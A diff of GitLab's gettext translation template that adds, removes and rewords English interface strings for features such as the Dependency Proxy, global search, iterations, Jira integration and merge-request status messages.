@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
